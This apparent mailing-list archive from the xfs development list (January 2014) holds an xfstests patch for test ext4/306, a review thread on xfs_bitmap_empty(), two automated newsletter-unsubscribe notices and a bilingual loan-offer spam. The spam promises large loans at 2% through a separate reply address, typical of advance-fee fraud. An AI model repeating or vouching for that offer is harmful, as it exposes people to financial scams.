Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature ext4/306 will fail when mounting the ext3 file system it creates if an ext3-incompatible mount option is applied by _scratch_mount. This can happen if EXT_MOUNT_OPTIONS is defined appropriately in the test environment. For example, the block_validity option is commonly used to enhance ext4 testing, and it is not supported by ext3. Fix this by instead creating an ext4 file system without extents as a functionally equivalent substitute. This will also eliminate a dependency for ext3 support on the test system. Signed-off-by: Eric Whitney <enwlinux@gmail.com> --- tests/ext4/306 | 21 +++++++-------------- 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/tests/ext4/306 b/tests/ext4/306 index 398c4c0..9559cf2 100755 --- a/tests/ext4/306 +++ b/tests/ext4/306 @@ -45,29 +45,22 @@ _supported_os Linux _require_scratch -# This needs to mount ext3; might require ext3 driver, or ext4 -# might handle it itself. Find out if we have it one way or another. -modprobe ext3 > /dev/null 2>&1 -grep -q ext3 /proc/filesystems || _notrun "This test requires ext3 support" - rm -f $seqres.full -# Make a small ext3 fs, (extents disabled) & mount it -yes | mkfs.ext3 $SCRATCH_DEV 512m >> $seqres.full 2>&1 -_scratch_mount -t ext3 || _fail "couldn't mount fs as ext3" +# Make a small ext4 fs with extents disabled & mount it +yes | mkfs.ext4 -O ^extents $SCRATCH_DEV 512m >> $seqres.full 2>&1 +_scratch_mount || _fail "couldn't mount fs" + # Create a small non-extent-based file echo "Create 1m testfile1" $XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 0 1m" | _filter_xfs_io + +# Create a large non-extent-based file filling the fs; this will run out & fail echo "Create testfile2 to fill the fs" -# A large non-extent-based file filling the fs; this will run out & fail $XFS_IO_PROG -f $SCRATCH_MNT/testfile2 -c "pwrite 0 512m" | _filter_xfs_io - -# Remount as ext4 -_scratch_unmount -_scratch_mount -t ext4 || _fail "couldn't remount fs as ext4" df -h $SCRATCH_MNT >> $seqres.full -# Grow it by 512m +# Grow fs by 512m echo "Resize to 1g" resize2fs $SCRATCH_DEV 1g >> $seqres.full 2>&1 || _fail "Could not resize to 1g" df -h $SCRATCH_MNT >> $seqres.full -- 1.8.3.2 From tinguely@sgi.com Fri Jan 31 10:28:05 2014 Return-Path: <tinguely@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9EE557F8E for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:28:05 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay1.corp.sgi.com (Postfix) with ESMTP id 65D128F8040; Fri, 31 Jan 2014 08:28:02 -0800 (PST) Message-ID: <52EBCF12.1020403@sgi.com> Date: Fri, 31 Jan 2014 10:28:02 -0600 From: Mark Tinguely <tinguely@sgi.com> User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu <jeff.liu@oracle.com> CC: Eric Sandeen <sandeen@sandeen.net>, "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> <52EBC1AF.6020000@sandeen.net> <52EBC67B.7020806@oracle.com> In-Reply-To: <52EBC67B.7020806@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 01/31/14 09:51, Jeff Liu wrote: > > On 01/31 2014 23:30 PM, Eric Sandeen wrote: >> On 1/31/14, 9:28 AM, Jeff Liu wrote: >>> >>> On 01/31 2014 23:07 PM, Eric Sandeen wrote: >>>> On 1/31/14, 8:13 AM, Jeff Liu wrote: >>>>> From: Jie Liu<jeff.liu@oracle.com> >>>>> >>>>> There is no need to travel through the whole bitmap items to verify >>>>> if the bitmap array is empty or not, instead, just return 0 directly >>>>> if an item is detected in bitmap array. >>>>> >>>>> Signed-off-by: Jie Liu<jeff.liu@oracle.com> >>>> >>>> Makes sense (and the long loop was my fault, I guess, but it's >>>> better than it was, see commit 24ad33f!) >>> >>> Ah, you have killed a lots code there! :) >>>> Reviewed-by: Eric Sandeen<sandeen@redhat.com> >>>> >>>> I wonder if something like: >>>> >>>> return (find_first_set(map, size) == size); >>>> >>>> would be faster (or if it'd be worth it)...? >>>> Probably not. :) >>>> >>> >>> Well, when I looking through our bitmap source, I once thought if >>> we can replace the current code with the generic bitmap library. >>> However, our map is uint rather than unsigned long... >> >> Technically the unsigned long (pointer) is just the bitmap address, >> I think. > > Yeah, so this might worth to try on long terms. > The blf_data_map[] is int aligned, not long aligned. You could reflect the alignment difference in the offset or change the alignment in the structure. --Mark. From sandeen@sandeen.net Fri Jan 31 10:47:26 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DBEEF7F54 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:47:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CC020304051 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:47:25 -0800 (PST) X-ASG-Debug-ID: 1391186834-04cb6c6de05c9d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id lIfQfzQ9eIh9yq80 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:47:14 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D6FC5602D4F3; Fri, 31 Jan 2014 10:47:13 -0600 (CST) Message-ID: <52EBD38F.5070608@sandeen.net> Date: Fri, 31 Jan 2014 10:47:11 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Mark Tinguely <tinguely@sgi.com>, Jeff Liu <jeff.liu@oracle.com> CC: "xfs@oss.sgi.com" <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> <52EBC1AF.6020000@sandeen.net> <52EBC67B.7020806@oracle.com> <52EBCF12.1020403@sgi.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <52EBCF12.1020403@sgi.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391186834 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144689 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/31/14, 10:28 AM, Mark Tinguely wrote: > On 01/31/14 09:51, Jeff Liu wrote: >> >> On 01/31 2014 23:30 PM, Eric Sandeen wrote: >>> On 1/31/14, 9:28 AM, Jeff Liu wrote: >>>> >>>> On 01/31 2014 23:07 PM, Eric Sandeen wrote: >>>>> On 1/31/14, 8:13 AM, Jeff Liu wrote: >>>>>> From: Jie Liu<jeff.liu@oracle.com> >>>>>> >>>>>> There is no need to travel through the whole bitmap items to verify >>>>>> if the bitmap array is empty or not, instead, just return 0 directly >>>>>> if an item is detected in bitmap array. >>>>>> >>>>>> Signed-off-by: Jie Liu<jeff.liu@oracle.com> >>>>> >>>>> Makes sense (and the long loop was my fault, I guess, but it's >>>>> better than it was, see commit 24ad33f!) >>>> >>>> Ah, you have killed a lots code there! :) >>>>> Reviewed-by: Eric Sandeen<sandeen@redhat.com> >>>>> >>>>> I wonder if something like: >>>>> >>>>> return (find_first_set(map, size) == size); >>>>> >>>>> would be faster (or if it'd be worth it)...? >>>>> Probably not. :) >>>>> >>>> >>>> Well, when I looking through our bitmap source, I once thought if >>>> we can replace the current code with the generic bitmap library. >>>> However, our map is uint rather than unsigned long... >>> >>> Technically the unsigned long (pointer) is just the bitmap address, >>> I think. >> >> Yeah, so this might worth to try on long terms. >> > > The blf_data_map[] is int aligned, not long aligned. > You could reflect the alignment difference in the offset or > change the alignment in the structure. Oh, I guess it does matter. Sometimes C escapes me... probably not worth messing with. I'll stop thinking out loud in front of everybody, now. ;) Thanks, -Eric > --Mark. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From marechat.vincent@aol.fr Fri Jan 31 10:56:57 2014 Return-Path: <marechat.vincent@aol.fr> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLYTO, LOTS_OF_MONEY,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9DA147F99 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:56:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 27CC6AC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:56:54 -0800 (PST) X-ASG-Debug-ID: 1391187412-04bdf0121d5d830001-NocioJ Received: from ns03.evxonline.net (ns03b.evxonline.net [87.98.201.18]) by cuda.sgi.com with ESMTP id ZkGeo9vHJy1jJRKX for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 08:56:52 -0800 (PST) X-Barracuda-Envelope-From: marechat.vincent@aol.fr X-Barracuda-Apparent-Source-IP: 87.98.201.18 Received: from www.vesoul.fr (clusterweb03.wevox.eu [87.98.201.29]) by ns03.evxonline.net (Postfix) with ESMTPA id 775BA17FD01; Fri, 31 Jan 2014 17:55:46 +0100 (CET) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Fri, 31 Jan 2014 17:55:46 +0100 From: MARECHAT <marechat.vincent@aol.fr> To: undisclosed-recipients:; Subject: Finanzierungsangebot =?UTF-8?Q?f=C3=BCr=20Ihre=20Projekte?= Reply-To: <marechat.vincent@att.net> X-ASG-Orig-Subj: Finanzierungsangebot =?UTF-8?Q?f=C3=BCr=20Ihre=20Projekte?= Mail-Reply-To: <marechat.vincent@att.net> Message-ID: <d91936ce490c2a6a0c73072dee0b9e93@vesoul.fr> X-Sender: marechat.vincent@aol.fr User-Agent: RoundCube Webmail/0.2.1 X-Barracuda-Connect: ns03b.evxonline.net[87.98.201.18] X-Barracuda-Start-Time: 1391187412 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144689 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -- Hallo.. Sie sind auf der Suche nach Finanzierung, um Ihre Aktivitäten, die Durchführung eines Projekts oder aus anderen Gründen wieder zu beleben. Ich gewährt Darlehen von 2000 EUR bis hin zu EUR4.000.000 mit einer Rate von 2%. Kontaktieren Sie für weitere Informationen mich bitte: marechat.vincent@att.net Herzliche Grüße ---------------------------------------------- Hello. You are looking for funding to revive your activities, the implementation of a project or for other reasons. I provides loans ranging from EUR2000 to EUR4,000,000 at a rate of 2%. For more information, please contact me: marechat.vincent@att.net Kind regards From simon@mglcoaching.com Fri Jan 31 12:00:43 2014 Return-Path: <simon@mglcoaching.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D6E127CBE for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:00:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B4CDA8F8065 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:00:40 -0800 (PST) X-ASG-Debug-ID: 1391191233-04cbb00c295a5c0001-NocioJ Received: from server1.mglcoaching.com ([162.213.249.156]) by cuda.sgi.com with ESMTP id pHeC4OF7tePmJNVN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:00:34 -0800 (PST) X-Barracuda-Envelope-From: simon@mglcoaching.com X-Barracuda-Apparent-Source-IP: 162.213.249.156 Received: from mglcoach by server1.mglcoaching.com with local (Exim 4.82) (envelope-from <simon@mglcoaching.com>) id 1W9IOH-0001xQ-Fc for xfs@oss.sgi.com; Fri, 31 Jan 2014 21:00:33 +0300 To: xfs@oss.sgi.com Subject: Goodbye from our Newsletter Received: from crawl-66-249-73-89.googlebot.com [66.249.73.89] by mglcoaching.com with HTTP; Fri, 31 Jan 2014 22:00:33 +0400 X-ASG-Orig-Subj: Goodbye from our Newsletter Date: Fri, 31 Jan 2014 22:00:33 +0400 From: MGL Training <noreply@mglcoaching.com> Reply-To: MGL Training <noreply@mglcoaching.com> Message-ID: <8e4392f76def3e3ed86cb1ed051c6407@mglcoaching.com> X-Priority: 3 X-Mailer: PHPMailer 5.2.5 (https://github.com/Synchro/PHPMailer/) X-phpList-version: 3.0.5 X-MessageID: systemmessage X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: simon@mglcoaching.com List-Unsubscribe: <http://mglcoaching.com/emarketing/?p=unsubscribe&email=xfs@oss.sgi.com&jo=1> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server1.mglcoaching.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [504 32007] / [47 12] X-AntiAbuse: Sender Address Domain - mglcoaching.com X-Get-Message-Sender-Via: server1.mglcoaching.com: authenticated_id: mglcoach/from_h X-Source: /usr/bin/php X-Source-Args: /usr/bin/php /home/mglcoach/public_html/emarketing/index.php X-Source-Dir: mglcoaching.com:/public_html/emarketing X-Barracuda-Connect: UNKNOWN[162.213.249.156] X-Barracuda-Start-Time: 1391191234 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144690 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Goodbye from our Newsletter, sorry to see you go. You have been unsubscribed from our newsletters. This is the last email you will receive from us. We have added you to our "do not send list", which means that our newsletter system, phpList, will not send you any further messages, without manual intervention by our administrator. If there is an error in this information, you can re-subscribe: please go to http://mglcoaching.com/emarketing/?p=subscribe and follow the steps. Thank you From phlistbounces-legionway@phplist.com Fri Jan 31 12:25:05 2014 Return-Path: <phlistbounces-legionway@phplist.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=FREEMAIL_FROM, HTML_IMAGE_ONLY_24,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 66DB87F9E for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:25:05 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E4098AC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:25:01 -0800 (PST) X-ASG-Debug-ID: 1391192699-04cbb00c285b1c0001-NocioJ Received: from mx36.phplist.com (mx36.phplist.com [50.23.59.119]) by cuda.sgi.com with ESMTP id 0h0awTJUFNXTZH4k for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 10:25:00 -0800 (PST) X-Barracuda-Envelope-From: phlistbounces-legionway@phplist.com X-Barracuda-Apparent-Source-IP: 50.23.59.119 Received: from mx36.phplist.com (mx36.phplist.com [50.23.59.119]) by mx36.phplist.com (Postfix) with ESMTP id 54E071205B for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 18:24:59 +0000 (GMT) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=phplist.com; h=date:to :from:reply-to:subject:message-id:list-unsubscribe:mime-version :content-type; s=s0; bh=lCQczWaeg89lc0tZVQI780V5fpw=; b=gL8Bppvq 4lXeR18KngCHhRK3BQVeRVBZshIx5Db5DhhPrHFlOckm/KXQ9kLgn3PKZ6Pf14dp VfQ9GFzLlZqXMgYgonmbz13PRKSNqjod4FfjbGRADu7y8m0XPFCzNBKZcRMAoYvd nEVYQxpXe1bHQln+t+UvvmEFTQHxY3MRWOI= Received: from legionway.hosted.phplist.com (mimosa [184.173.18.3]) by mx36.phplist.com (Postfix) with ESMTP id 4AFC712056 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 18:24:59 +0000 (GMT) Received: from 208-115-111-73-reverse.wowrack.com [208.115.111.73] by legionway.hosted.phplist.com with HTTP; Fri, 31 Jan 2014 18:24:59 +0000 Date: Fri, 31 Jan 2014 18:24:59 +0000 To: xfs@oss.sgi.com From: Enoch Josh <frican10@gmail.com> Reply-To: Enoch Josh <frican10@gmail.com> Subject: Goodbye from our Newsletter Message-ID: <0c2fea66f9a4f9f7842069954863e1f8@hosted.phplist.com> X-ASG-Orig-Subj: Goodbye from our Newsletter X-Priority: 3 X-Mailer: PHPMailer 5.2.5 (https://github.com/Synchro/PHPMailer/) X-phpList-version: 3.0.5-hosted X-MessageID: systemmessage X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: phlistbounces-legionway@phplist.com List-Unsubscribe: <http://legionway.hosted.phplist.com/lists/?p=unsubscribe&email=xfs@oss.sgi.com&jo=1> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_0c2fea66f9a4f9f7842069954863e1f8" X-Barracuda-Connect: mx36.phplist.com[50.23.59.119] X-Barracuda-Start-Time: 1391192700 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.28 X-Barracuda-Spam-Status: No, SCORE=1.28 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_24, HTML_IMAGE_ONLY_24_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144691 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 HTML_IMAGE_ONLY_24_2 HTML: images with 2000-2400 bytes of words --b1_0c2fea66f9a4f9f7842069954863e1f8 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =20 Goodbye from our Newsletter, sorry to see you go. You have been unsubscribed from our newsletters. This is the last email you will receive from us. We have added you to our "blacklist", which means that our newsletter system, phpList, will refuse= =0Ato send you any other email, without manual intervention by our administrator. If there is an error in this information, you can re-subscribe: please go to http://legionway.hosted.phplist.com/lists/?p=3Dsubscribe and= =0Afollow the steps. Thank you =20 =20 --b1_0c2fea66f9a4f9f7842069954863e1f8 Content-Type: multipart/related; boundary="b2_0c2fea66f9a4f9f7842069954863e1f8" --b2_0c2fea66f9a4f9f7842069954863e1f8 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable <div id=3D"container" style=3D"margin: 0 20px; min-width: 920px">=0A = <div id=3D"wrapper" style=3D"padding: 20px; background-color: #FFFFFF">=0A = <div id=3D"mainContent" style=3D"margin-right: 390px; min-height: 40= 0px">=0A <div class=3D"panel" style=3D"position: relative;=0Aborde= r: 6px solid #5DAEE1; =0Amargin-bottom: 20px;=0Abackground-color: #5DAEE1; = =0A-moz-border-radius:6px; =0A-webkit-border-radius:6px; =0Aborder-radius:6= px;=0A-moz-box-shadow: 1px 1px 8px rgba(0, 0, 0, 0.4);=0A-webkit-box-shadow= : 1px 1px 8px rgba(0, 0, 0, 0.4);=0Abox-shadow: 1px 1px 8px rgba(0, 0, 0, 0= .6);=0A">=0A <div class=3D"content" style=3D"padding: 5px; =0A-m= oz-border-radius:3px; =0A-webkit-border-radius:3px; =0Aborder-radius:3px;= =0Abackground-color: #F2F2F2=0A">=0A <h3 style=3D"display: blo= ck; background-color: #5DAEE1; color: #FFF; margin: 0; padding: 3px 5px 10p= x 5px; line-height: 1.2; font-size: 18px; letter-spacing: 0; text-transform= :capitalize;">Goodbye from our Newsletter</h3>=0A <br />=0A <= br />=0A Goodbye from our Newsletter, sorry to see you go.<br />=0A<br />= =0A You have been unsubscribed from our newsletters.<br />=0A<br />=0A Th= is is the last email you will receive from us. We have added you to our<br = />=0A "blacklist", which means that our newsletter system, phpList, will r= efuse to send<br />=0A you any other email, without manual intervention by= our administrator.<br />=0A<br />=0A If there is an error in this informa= tion, you can re-subscribe:<br />=0A please go to <a href=3D"http://legion= way.hosted.phplist.com/lists/?p=3Dsubscribe">http://legionway.hosted.phplis= t.com/lists/?p=3Dsubscribe</a> and follow the steps.<br />=0A<br />=0A Tha= nk you<br />=0A <br />=0A =0A <p class=3D"poweredby"><a href= =3D"http://www.phplist.com/poweredby?utm_source=3Dpl3.0.5-hosted&amp;utm_me= dium=3Dpoweredhostedimg&amp;utm_campaign=3DphpList" title=3D"visit the phpL= ist website" ><img src=3D"cid:e8dc4e3f6c3cadbf7636e9cd4ab397c5" width=3D"70= " height=3D"30" title=3D"powered by phpList version 3.0.5-hosted, &copy; ph= pList ltd" alt=3D"powered by phpList 3.0.5-hosted, &copy; phpList ltd" bord= er=3D"0" /></a></p>=0A </div>=0A </div>=0A </div= >=0A </div>=0A </div>=0A --b2_0c2fea66f9a4f9f7842069954863e1f8 Content-Type: image/png; name="powerphplist.png" Content-Transfer-Encoding: base64 Content-ID: <e8dc4e3f6c3cadbf7636e9cd4ab397c5> Content-Disposition: inline; filename="powerphplist.png" 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 